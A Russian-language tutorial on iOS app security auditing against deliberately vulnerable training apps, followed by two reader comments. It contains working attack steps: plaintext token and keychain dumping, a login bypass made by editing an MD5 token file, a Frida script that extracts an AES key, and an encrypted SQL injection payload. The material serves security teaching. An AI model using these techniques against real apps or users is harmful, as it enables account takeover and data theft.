Продолжаем цикл статей про аудит iOS-приложений. В этой статье расскажем непосредственно о самом анализе и как пользоваться инструментами из прошлой статьи. Мы хотим показать начинающим исследователям безопасности мобильных приложений, где искать баги, как они могут выглядеть и от чего можно отталкиваться при самостоятельном и более углубленном исследовании мобильных приложений. Для демонстрации мы будем использовать специальные мобильные приложения (SecureStorev1 и SecureStorev2), в которых содержатся некоторые базовые уязвимости.
Приложения были взяты из курса Hacking and Pentesting iOS Applications, который можно назвать свежим (последнее обновление от 07.2021) относительно альтернативных вариантов и содержащим большое количество примеров уязвимостей.
Мы обсудим:
Как подготовить Attack Surface исследуемого приложения.
Какие уязвимости можно найти при анализе.
Подготовка Attack Surface
Под "Attack Surface" понимается область исследования приложения.
По соображениям безопасности у каждого приложения в iOS есть своя песочница, которой ограничены его возможности в файловой системе. В песочнице содержатся все файлы и данные, которое использует приложение. Так как одной из самых распространенных уязвимостей является "Небезопасное хранение данных", то нам необходимо понимать, где же искать эти данные и как попасть в песочницу приложения.
Все установленные приложения попадают в папку /var/mobile/Containers/Data/Application/
внутри файловой системы. Соответственно, полный путь до данных, с которыми работает приложение внутри песочницы, выглядит следующим образом:
/var/mobile/Containers/Data/Application/<Application ID>
Кроме контейнера с данными, важно обратить внимание на Bundle приложения. В Bundle находятся исполняемый код, фреймворки, библиотеки, плагины и другие ресурсы, которые использует приложение. Полный путь до Bundle выглядит следующим образом:
/private/var/containers/Bundle/Application/<Bundle ID>
Узнать Application ID, Bundle ID и полные пути до контейнеров можно с помощью Objection (console way) или Grapefruit (GUI way), которые помогают подготовить Attack Surface и в дальнейшем исследовать приложение более комфортным образом.
Приступаем к исследованию и подключаем наше iOS-устройство по USB.
Objection
Сначала необходимо узнать Identifier исследуемого приложения (SecureStorev1). Сделать это можно с помощью команды frida-ps:
$ frida-ps -Uia
В выводе видим, что Indentifier - cst.securestorev1
Подключаемся через Objection:
$ objection -g 'cst.securestorev1' explore
И смотрим контейнеры приложения:
cst.securestorev1 on (iPhone: 14.7.1) [usb] # env
Grapefruit
Запускаем Grapefruit и переходим в веб-интерфейс (по умолчанию поднимается на http://127.0.0.1:31337):
$ igf
В веб-интерфейсе выбираем наш девайс и исследуемое приложение:
Попадаем на страницу с данными о приложении:
Из увиденного делаем вывод, что поиск интересующих нас данных будет производиться в следующих директориях:
/private/var/containers/Bundle/Application/F4C38F12-B7C2-401B-A483-FBF7451A8FD3
/var/mobile/Containers/Data/Application/03BB8F81-5684-438C-8021-CD40A5720F19
При дальнейшем исследовании можно использовать как Objection, так и Grapefruit или просто командную строку на iOS-устройстве после подключения по ssh. Так как Grapefruit и так имеет интуитивно понятный интерфейс, то в статье будем пользоваться Objection для лучшего понимания его возможностей и командой строкой iOS-устройства.
Ищем уязвимости
Небезопасное хранение данных
Как и упоминалось выше, "Небезопасное хранение данных" – одна из самых распространенных уязвимостей. Заключается она в том, что разработчики хранят критичные пользовательские данные в контейнерах приложений в открытом виде.
Для продуктивного поиска в Data Storage сначала можно сделать дамп директорий
из Attack Surface сразу же после установки приложения. Потом, пользуясь
функционалом приложения, сравниваем, что изменилось в файлах Data Storage либо в лайв-режиме, либо снова через дамп
Найти эти данные обычно можно в следующих местах:
.plist-файлы
Файлы plist – файлы с XML-структурой, содержащие пары ключ-значение. Это
способ хранения постоянных данных, но иногда разработчики кладут туда
конфиденциальную информацию, чего делать нельзя.
Можно найти в директориях Attack Surface с помощью find:
iPhone $ find . -name '*.plist'
Просматривать .plist-файлы можно либо через plutil в командной строке, либо через Objection:
cst.securestorev1 on (iPhone: 14.7.1) [usb] # ios plist cat <filename>
Анализируем файлы нашего приложения и находим auth_token пользователя в открытом виде внутри userdetails.plist:
Файлы локальной БД
Локальная база данных – еще одно место, где часто встречаются пользовательские данные в открытом виде. Самые популярные варианты реализации локальной БД – это SQLite или Realm, файлы для которых можно найти в директориях Attack Surface:
$ find . \( -name "*.db" -o -name "*.realm" \)
В директории из примера выше можно увидеть файл bankdetails.db. Objection позволяет удобно просматривать файлы БД с помощью команды sqlite connect:
cst.securestorev1 on (iPhone: 14.7.1) [usb] # sqlite connect bankdetails.db
После подключения к файлу БД можно вызвать справку через ?
для ознакомления с возможностями исследования файла:
Делаем листинг доступных таблиц и забираем данные пользователя в открытом виде:
SQLite @ bankdetails.db > .tables
SQLite @ bankdetails.db > select
* from bankdetails
Кэш
Отдельно стоит упомянуть про кэширование сетевых запросов в iOS-приложениях, обычно такая информация находится по пути:
/var/mobile/Containers/Data/Application/<Application ID>/Library/Caches/<Application Identifier>
Кэшируются такие запросы также внутри локальной БД и, к сожалению, часто в открытом виде.
Так это выглядит в нашем приложении:
Коннектимся к файлу Caches.db, который находится в директории /var/mobile/Containers/Data/Application/03BB8F81-5684-438C-8021-CD40A5720F19/Library/Caches/cst.securestorev1
cst.securestorev1 on (iPhone: 14.7.1) [usb] # sqlite connect Cache.db
Делаем листинг таблиц и забираем данные:
SQLite @ bankdetails.db > .tables
SQLite @ bankdetails.db > select
* from cfurl_cache_receiver_data
SQLite @ bankdetails.db > select
* from cfurl_cache_response
NSUserDefaults и Keychain
И, конечно же, не забываем про проверку NSUserDefaults и Keychain.
Очень частой ошибкой при разработке мобильных приложений является хранение критичных пользовательских данных в NSUserDefaults. Проверить это через Objection можно с помощью следующей команды:
# ios nsuserdefaults get
Если в выводе видны, например, аутентификационные токены или другая важная пользовательская информация, то это считается уязвимостью. Все подобные данные должны храниться в Keychain, но стоит отметить, что не в открытом виде, а в зашифрованном. Проверить содержимое Keychain через Objection можно так:
# ios keychain dump --json <output_filename>
Локальная аутентификация
Если процесс аутентификации в приложении завязан на внутренних проверках – это плохое решение, т.к. обмануть такие проверки не составляет особого труда.
Вспомним про файл userdetails.plist, auth_token в нем – это строка в MD5. Предположим, что там зашит просто логин пользователя (securestore) и проверим это:
$ md5 -s securestore
MD5 ("securestore") = 212174768840da1c6a1604c8b485a0ee
Предположение подтвердилось, а значит, мы можем попробовать изменить этот файл и положить туда логин другого зарегистрированного пользователя (attacker).
Objection позволяет скачивать файлы с iOS-устройства:
cst.securestorev1 on (iPhone: 14.7.1) [usb] # file download userdetails.plist
Получаем значение attacker в MD5 и помещаем его в наш файл:
$ md5 -s attacker
MD5 ("attacker") = 3f858cf8cfd59f25010e71b6b5671428
Через Objection загружаем файл обратно на iOS-устройство:
cst.securestorev1 on (iPhone: 14.7.1) [usb] # file upload userdetails.plist
Полностью закрываем приложение, открываем его снова, и видим, что мы получили доступ к аккаунту другого пользователя без знания пароля:
Server-Side проверки
Это один из самых больших блоков проверок, который по сути является тестированием серверного API. Для мобильной версии могут быть отдельные "ручки", в которых либо
могут найтись баги, которых нет в веб-версии, либо может быть необычная
реализация логики, которой можно воспользоваться для чейна какой-нибудь
цепочки.
Так как подробное описание этого блока выходит за рамки одной статьи, то просто рассмотрим одну из уязвимостей, которая пригодится нам в будущем как отправная точка для раскрутки более интересной уязвимости.
SQL Injection
Снова вернемся к auth_token'у. Он используется при запросе от клиента к серверу для получения данных о счете:
Эксплуатируем SQL Injection и получаем данные пользователя attacker:
А теперь посмотрим, как та же самая уязвимость может выглядеть в более сложном варианте. Для этого будем анализировать приложение SecureStorev2 и рассмотрим такой же флоу общения клиента с сервером, а также узнаем, как можно работать с приложением с помощью Frida.
SQL Injection via End-to-end encryption
Теперь при получении данных о счете в том же запросе token передается в зашифрованном виде:
С помощью frida-trace находим все методы всех классов, которые связаны с шифрованием внутри приложения. Для этого используем выражение с вайлдкардами:
$ frida-trace -U -m "*[* *crypt*]"
-n SecureStorev2
Нашлось 388 методов, также frida-trace создала скрипты под каждый из методов в папке handlers:
После обновления деталей счета пользователя securestore видим в выводе активного окна frida-trace, какие методы использовались:
Разберемся, что происходит внутри метода AES256EncryptedDataUsingKey класса NSData с помощью скрипта для frida и сдампим ключ шифрования.
Скрипт для frida будет выглядеть следующим образом:
if (ObjC.available) {
try {
var className = "NSData";
var funcName = "- AES256EncryptedDataUsingKey:error:";
var hook = eval('ObjC.classes.' + className + '["' + funcName + '"]');
Interceptor.attach(hook.implementation, {
onEnter: function(args)
{
console.log("\n[+] Class Name: " + className);
console.log("[+] Method Name: " + funcName);
var enc_key = new ObjC.Object(args[2]); // <-- переменные метода в Frida начинаются со второго индекса
var buf = enc_key.bytes().readByteArray(enc_key.length());
console.log("[+] Encryption Key: " + enc_key.toString());
console.log("[+] Encryption Key dump: " + hexdump(buf, { ansi: true }));
},
onLeave: function(returnvalue)
{
console.log('Return Value: ');
}
});
}
catch(error)
{
console.log("[!] Exception: " + error.message);
}
}
else {
console.log("Objective-C Runtime is not available!");
}
Заинжектимся с написанным скриптом в наше приложение:
$ frida -U SecureStorev2 -l AES256EncryptedDataUsingKey.js
И после обновления данных о банковском счете увидим ключ шифрования:
В первой версии приложения в качестве токена передавалась MD5-строка с логином пользователя. Проверим, правильно ли происходит ее шифрование со сдампленным ключом с помощью скрипта на python:
import Crypto
import Crypto.Random
from Crypto.Cipher import AES
import base64
import sys
def pad_data(data):
if len(data) % 16 == 0:
return data
databytes = bytearray(data)
padding_required = 15 - (len(databytes) % 16)
databytes.extend(b'\x80')
databytes.extend(b'\x00' * padding_required)
return bytes(databytes)
def unpad_data(data):
if not data:
return data
data = data.rstrip(b'\x00')
if data[-1] == 128:
return data[:-1]
else:
return data
def generate_aes_key():
rnd = '35e685a1411a605852ec1045ef7f16f10e68dc18bdc1f13fa240a6996edb306c'
rnd = rnd.decode('hex')
return rnd
def encrypt(key, iv, data):
aes = AES.new(key, AES.MODE_CBC, iv)
data = pad_data(data)
return aes.encrypt(data)
def decrypt(key, iv, data):
data = data.decode('base64')
aes = AES.new(key, AES.MODE_CBC, iv)
data = aes.decrypt(data)
return unpad_data(data)
def test_crypto (input):
key = generate_aes_key()
iv = '00000000000000000000000000000000'
iv = iv.decode('hex')
encoded = encrypt(key, iv, input)
return encoded
if __name__ == '__main__':
encrypted = test_crypto(sys.argv[1])
encrypted = encrypted.encode('base64')
print encrypted
$ python aesencrypt.py 212174768840da1c6a1604c8b485a0ee
wk3eQ9tu9LM+eq3I0pzst1I191hWOa9f+dpmRBQ6kCU=
Полученное значение совпадает со значением токена в запросе. Значит, теперь мы можем зашифровать наш SQL Injection payload и подставить его в запрос:
$ python aesencrypt.py "securestore' OR '1'='1"
R4Dc8atsDx7T5c488eIedqXpw76hcUtc/d4Euvrre/Y=
В этой статье мы показали, как подготовить Attack Surface исследуемого приложения, познакомились с базовыми уязвимостями, которые могут встречаться в iOS-приложениях, и рассказали, как пользоваться различными инструментами во время анализа. Надеемся, что данный материал будет полезен тем, кто начинает свой путь в исследовании мобильных приложений и станет хорошей отправной точкой для дальнейшего прокачивания скиллов в этой области :)
YuriyPashkov
Спасибо за статью, очень интересный материал.
Как лучше всего шифровать SQLite-базу в приложении? Беглое гугление говорит об инструменте под названием SQLCipher. В реальной работе, насколько падает производительность при работе с зашифрованной БД? Разработчики SQLCipher заявляют о 5-15% примерно, но хотелось бы услышать отзывы от тех, кто использовал сей инструмент в продакшене.
storoj
Зачем вообще что-то шифровать? Почитать базу из Documents можно наверное только с jailbreak, а если он у юзера есть, то зачем пытаться сопротивляться?
Плюс sqlite в iOS должен вроде как поддерживать Encryption Extensions: https://www.sqlite.org/see/doc/release/www/index.wiki